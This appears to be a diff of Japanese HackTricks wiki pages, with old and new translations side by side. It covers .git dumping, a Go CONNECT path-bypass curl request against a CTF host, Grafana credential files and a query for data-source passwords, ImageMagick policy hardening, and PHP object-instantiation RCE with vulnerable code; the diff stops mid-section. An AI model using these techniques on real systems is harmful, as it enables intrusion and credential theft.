AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,33 +1,49 @@
# Git
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
**URLから.gitフォルダをダンプするには** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) を使用します。
**URLから.gitフォルダをダンプするには** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) **を使用します。**
**コンテンツを検査するには** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **を使用します**
**コンテンツを検査するには** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **を使用します**
Webアプリケーションで_.git_ディレクトリが見つかった場合、_wget -r http://web.com/.git_を使用してすべてのコンテンツをダウンロードできます。その後、_git diff_を使用して行われた変更を確認できます。
ウェブアプリケーションに_.git_ディレクトリが見つかった場合、_wget -r http://web.com/.git_を使用してすべてのコンテンツをダウンロードできます。その後、_git diff_を使用して行われた変更を確認できます。
ツール[Git-Money](https://github.com/dnoiz1/git-money)、[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage)、[GitTools](https://github.com/internetwache/GitTools)を使用して、gitディレクトリのコンテンツを取得できます。
ツール: [Git-Money](https://github.com/dnoiz1/git-money)、[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage)、および[GitTools](https://github.com/internetwache/GitTools)を使用して、gitディレクトリのコンテンツを取得できます。
ツール[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder)を使用して、コミットメッセージ内のCVEやセキュリティ脆弱性メッセージを検索できます。
ツール[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder)は、コミットメッセージ内のCVEおよびセキュリティ脆弱性メッセージを検索するために使用できます。
ツール[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)は、組織やその従業員のリポジトリ内で機密データを検索します。
ツール[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)は、組織とその従業員のリポジトリ内の機密データを検索します。
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)は、GitHubシークレットを発見するのを助けるために書かれたコマンドラインベースのツールで、開発者が誤って機密データをプッシュしたことを発見するのに役立ちます。そして他のツールと同様に、パスワード、プライベートキー、ユーザー名、トークンなどを見つけるのに役立ちます。
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)は、コマンドラインベースのツールで、開発者が誤って機密データをプッシュしたGitHubの秘密を発見するのを助けることを目的として書かれました。他のツールと同様に、パスワード、秘密鍵、ユーザー名、トークンなどを見つけるのに役立ちます。
[TruffleHog](https://github.com/dxa4481/truffleHog)は、GitHubリポジトリを検索し、コミット履歴やブランチを掘り下げて、誤ってコミットされたシークレットを探します。
[TruffleHog](https://github.com/dxa4481/truffleHog)は、GitHubリポジトリを検索し、コミット履歴やブランチを掘り下げて、誤ってコミットされた秘密を探します。
ここでは、GitHubドークに関する研究が見つかります[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
ここでGitHubドークについての研究を見つけることができます: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## CONNECTメソッド
Goプログラミング言語では、特に `net/http` ライブラリを使用してHTTPリクエストを処理する際に、リクエストパスを標準化された形式に自動変換するのが一般的な慣行です。このプロセスには次のようなものが含まれます:
Goプログラミング言語では、HTTPリクエストを処理する際の一般的な慣行として、`net/http`ライブラリを使用してリクエストパスを標準化された形式に自動的に変換することがあります。このプロセスには以下が含まれます:
- `/flag/` のようにスラッシュ (`/`) で終わるパスは、そのスラッシュのない対応パス `/flag` にリダイレクトされます。
- `/../flag` のようなディレクトリトラバーサルシーケンスを含むパスは簡略化され、`/flag` にリダイレクトされます。
- `/flag/.` のように末尾にピリオドがあるパスも、クリーンなパス `/flag` にリダイレクトされます。
- スラッシュ(`/`)で終わるパス(例:`/flag/`)は、スラッシュのない対応するパス`/flag`にリダイレクトされます。
- `/../flag`のようなディレクトリトラバーサルシーケンスを含むパスは簡略化され、`/flag`にリダイレクトされます。
- `/flag/.`のように末尾にピリオドがあるパスも、クリーンなパス`/flag`にリダイレクトされます。
ただし、`CONNECT` メソッドの使用には例外があります。他のHTTPメソッドとは異なり、`CONNECT` はパスの正規化プロセスをトリガーしません。この動作により、保護されたリソースにアクセスする可能性が開かれます。`curl` の `--path-as-is` オプションと一緒に `CONNECT` メソッドを使用することで、標準のパス正規化をバイパスし、制限されたエリアに到達する可能性があります。
しかし、`CONNECT`メソッドの使用に関しては例外が見られます。他のHTTPメソッドとは異なり、`CONNECT`はパスの正規化プロセスをトリガーしません。この動作は、保護されたリソースにアクセスするための潜在的な手段を開きます。`curl`で`CONNECT`メソッドを`--path-as-is`オプションと共に使用することで、標準のパス正規化をバイパスし、制限された領域に到達する可能性があります。
次のコマンドは、この動作を悪用する方法を示しています:
以下のコマンドは、この動作を利用する方法を示しています:
```bash
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
```
@ -31,16 +32,17 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,41 @@
# Grafana
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## 興味深い情報
* ファイル **`/etc/grafana/grafana.ini`** には、**管理者** **ユーザー名** および **パスワード** などの機密情報が含まれている可能性があります。
* プラットフォーム内で **人を招待** したり **APIキーを生成** したりすることができます(管理者権限が必要な場合があります)
* インストールされているプラグインを確認したり(新しいプラグインをインストールしたり)することができます
* デフォルトでは、**SQLite3** データベースが **`/var/lib/grafana/grafana.db`** で使用されています
* **`/etc/grafana/grafana.ini`**ファイルには、**admin** **username**や**password**などの機密情報が含まれている可能性があります。
* プラットフォーム内で**人を招待**したり、**APIキーを生成**したりできます(管理者である必要があるかもしれません)。
* インストールされているプラグインを確認したり(新しいものをインストールすることも可能)、できます。
* デフォルトでは、**`/var/lib/grafana/grafana.db`**に**SQLite3**データベースを使用します。
* `select user,password,database from data_source;`
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,49 +1,67 @@
# ImageMagickセキュリティ
# ImageMagickのセキュリティ
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
[**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)で詳細を確認してください。
詳細は[**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)を確認してください。
ImageMagickは多機能な画像処理ライブラリであり、詳細なオンラインドキュメントの不足と幅広いオプションにより、セキュリティポリシーの構成に課題を提供しています。ユーザーはしばしば断片化されたインターネットソースに基づいてポリシーを作成し、潜在的な誤構成を引き起こすことがあります。このライブラリは100を超える画像形式をサポートしており、それぞれが複雑さと脆弱性プロファイルに寄与しています。これは歴史的なセキュリティインシデントによって示されています。
ImageMagickは多用途の画像処理ライブラリであり、そのセキュリティポリシーの設定には多くのオプションと詳細なオンラインドキュメントの欠如から課題があります。ユーザーはしばしば断片的なインターネットソースに基づいてポリシーを作成し、潜在的な誤設定を引き起こします。このライブラリは100以上の画像フォーマットをサポートしており、それぞれがその複雑さと脆弱性プロファイルに寄与しています。これは歴史的なセキュリティインシデントによって示されています。
## より安全なポリシー
これらの課題に対処するために、[ツールが開発されました](https://imagemagick-secevaluator.doyensec.com/)。このツールは包括的な研究に基づいており、ImageMagickのセキュリティポリシーの設計と監査を支援することを目的としています。このツールは、ポリシーが堅牢であり、悪用される可能性のある抜け穴がないことを確認することを目指しています。
## より安全なポリシーに向けて
これらの課題に対処するために、[ツールが開発されました](https://imagemagick-secevaluator.doyensec.com/)。このツールは、ImageMagickのセキュリティポリシーの設計と監査を支援することを目的としています。このツールは広範な研究に基づいており、ポリシーが堅牢であるだけでなく、悪用される可能性のある抜け穴がないことを保証することを目指しています。
## ホワイトリスト対ブラックリストアプローチ
歴史的に、ImageMagickのポリシーは、特定のコーダーがアクセスを拒否されるブラックリストアプローチに依存していました。しかし、ImageMagick 6.9.7-7での変更により、このパラダイムが変わり、ホワイトリストアプローチが可能になりました。このアプローチは、まずすべてのコーダーのアクセスを拒否し、信頼されたコーダーに選択的にアクセスを許可することで、セキュリティポジションを向上させています。
## アロウリスト対デナイリストアプローチ
歴史的に、ImageMagickのポリシーは特定のコーダーのアクセスを拒否するデナイリストアプローチに依存していました。しかし、ImageMagick 6.9.7-7の変更により、このパラダイムがシフトし、アロウリストアプローチが可能になりました。このアプローチでは、最初にすべてのコーダーのアクセスを拒否し、その後信頼できるコーダーに対して選択的にアクセスを許可することで、セキュリティ姿勢が強化されます。
```xml
...
<policy domain="coder" rights="none" pattern="*" />
<policy domain="coder" rights="read | write" pattern="{GIF,JPEG,PNG,WEBP}" />
...
```
## ポリシーの大文字小文字の区別
ImageMagickのポリシーパターンは大文字小文字を区別することに注意することが重要です。そのため、コーダーやモジュールが正しく大文字で記述されていることは、意図しない権限を防ぐために不可欠です。
## ポリシーの大文字小文字の区別
ImageMagickのポリシーパターンは大文字小文字を区別することに注意することが重要です。そのため、コーダーやモジュールがポリシー内で正しく大文字であることを確認することが、意図しない権限を防ぐために重要です。
## リソース制限
ImageMagickは適切に構成されていない場合、サービス拒否攻撃のリスクがあります。ポリシーで明示的なリソース制限を設定することは、そのような脆弱性を防ぐために不可欠です。
ImageMagickは適切に構成されていない場合、サービス拒否攻撃に対して脆弱です。ポリシー内で明示的なリソース制限を設定することは、そのような脆弱性を防ぐために不可欠です。
## ポリシーの断片化
ポリシーは異なるImageMagickインストール間で断片化される可能性があり、潜在的な競合や上書きが発生する可能性があります。次のようなコマンドを使用して、アクティブなポリシーファイルを特定して検証することが推奨されています:
ポリシーは異なるImageMagickインストール間で断片化される可能性があり、潜在的な競合や上書きが発生することがあります。次のようなコマンドを使用して、アクティブなポリシーファイルを見つけて確認することをお勧めします:
```shell
$ find / -iname policy.xml
```
## 初心者向け、制限的なポリシー
厳格なリソース制限とアクセス制御に焦点を当てた制限的なポリシーテンプレートが提案されています。このテンプレートは、特定のアプリケーション要件に合わせて調整されたポリシーの開発のための基準として機能します。
## スターター、制限的ポリシー
制限的ポリシーテンプレートが提案されており、厳格なリソース制限とアクセス制御に焦点を当てています。このテンプレートは、特定のアプリケーション要件に合わせたカスタマイズされたポリシーを開発するためのベースラインとして機能します。
セキュリティポリシーの効果は、ImageMagickで `identify -list policy` コマンドを使用して確認できます。さらに、以前に言及された[評価ツール](https://imagemagick-secevaluator.doyensec.com/)を使用して、個々のニーズに基づいてポリシーを洗練させることができます。
セキュリティポリシーの有効性は、ImageMagickの `identify -list policy` コマンドを使用して確認できます。さらに、前述の [evaluator tool](https://imagemagick-secevaluator.doyensec.com/) を使用して、個々のニーズに基づいてポリシーを洗練させることができます。
## 参考文献
* [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
これは基本的に[https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)の要約です。
## はじめに
`new $_GET["a"]($_GET["a"])`のような任意のオブジェクトの作成は、リモートコード実行RCEにつながる可能性があります。これについての詳細は[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)に記載されています。このドキュメントでは、RCEを達成するためのさまざまな戦略について説明します。
`new $_GET["a"]($_GET["a"])`のような新しい任意のオブジェクトの作成は、リモートコード実行RCEにつながる可能性があります。これは[**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)で詳述されています。この文書では、RCEを達成するためのさまざまな戦略を強調しています。
## カスタムクラスまたはオートローディングを介したRCE
## カスタムクラスまたはオートローディングによるRCE
`syntax new $a($b)`は、**`$a`**がクラス名を表し、**`$b`**がコンストラクタに渡される最初の引数を表すオブジェクトをインスタンス化するために使用されます。これらの変数は、GET/POSTなどのユーザー入力から取得される可能性があり、文字列または配列であるか、JSONから取得される可能性があり、その他のタイプであるかもしれません
`new $a($b)`という構文は、**`$a`**がクラス名を表し、**`$b`**がコンストラクタに渡される最初の引数であるオブジェクトをインスタンス化するために使用されます。これらの変数は、GET/POSTのようなユーザー入力から取得されることがあり、文字列や配列である場合や、JSONから取得される場合には他の型として表示されることがあります
以下は考えられるコードスニペットです
以下のコードスニペットを考えてみてください
```php
class App {
function __construct ($cmd) {
@ -43,9 +44,9 @@ $b = $_GET['b'];
new $a($b);
```
このインスタンスでは、`$a`を`App`または`App2`に設定し、`$b`をシステムコマンド(例:`uname -a`)に設定すると、そのコマンドが実行されます。
この場合、`$a`を`App`または`App2`に設定し、`$b`をシステムコマンド(例:`uname -a`)に設定すると、そのコマンドが実行されます。
**オートローディング関数**は、直接アクセスできるクラスがない場合に悪用される可能性があります。これらの関数は、必要に応じてファイルからクラスを自動的にロードし、`spl_autoload_register`または`__autoload`を使用して定義されます
**オートローディング関数**は、そのようなクラスが直接アクセスできない場合に悪用される可能性があります。これらの関数は、必要に応じてファイルからクラスを自動的にロードし、`spl_autoload_register`または`__autoload`を使用して定義されます
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -57,64 +58,65 @@ include $class_name . '.php';
spl_autoload_register();
```
